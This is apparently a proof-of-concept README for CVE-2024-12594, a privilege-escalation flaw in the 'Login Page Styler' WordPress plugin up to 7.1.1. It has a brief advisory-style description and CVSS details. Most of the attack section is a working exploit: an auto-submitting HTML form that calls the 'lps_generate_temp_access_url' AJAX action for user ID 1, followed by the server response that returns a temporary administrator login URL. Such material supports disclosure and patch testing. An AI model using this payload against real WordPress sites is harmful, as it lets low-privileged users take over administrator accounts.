CVE-2024-12594 PoC — ALL In One Custom Login Page <= 7.1.1 - Missing Authorization to Authenticated (Subscriber+)Privilege Escalation

Description

ALL In One Custom Login Page <= 7.1.1 - Missing Authorization to Authenticated (Subscriber+)Privilege Escalation

Readme

# CVE-2024-12594
ALL In One Custom Login Page <= 7.1.1 - Missing Authorization to Authenticated (Subscriber+)Privilege Escalation

# Description

The Custom Login Page Styler – Login Protected Private Site , Change wp-admin login url , WordPress login logo , Temporary admin login access , Rename login , Login customizer, Hide wp-login – Limit Login Attempts – Locked Site plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'lps_generate_temp_access_url' AJAX action in all versions up to, and including, 7.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to login as other users such as subscribers.

## Details

- **Type**: plugin
- **Slug**: login-page-styler
- **Affected Version**: 7.1.1
- **CVSS Score**: 8.8
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-12594
- **Status**: Active

POC
---
```
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="lps&#95;generate&#95;temp&#95;access&#95;url" />
      <input type="hidden" name="user&#95;id" value="1" />
      <input type="hidden" name="expiration&#95;time" value="2592000" />
      <input type="hidden" name="nonce" value="90cc73ad2a" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

```
{"success":true,"data":{"temp_url":"https:\/\/wp-dev.ddev.site?temp_access=Osn6apJoSJunYNqOhDsn&user_id=1","message":"Temporary access URL created successfully for 30 Day(s)."}}
```

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Remarks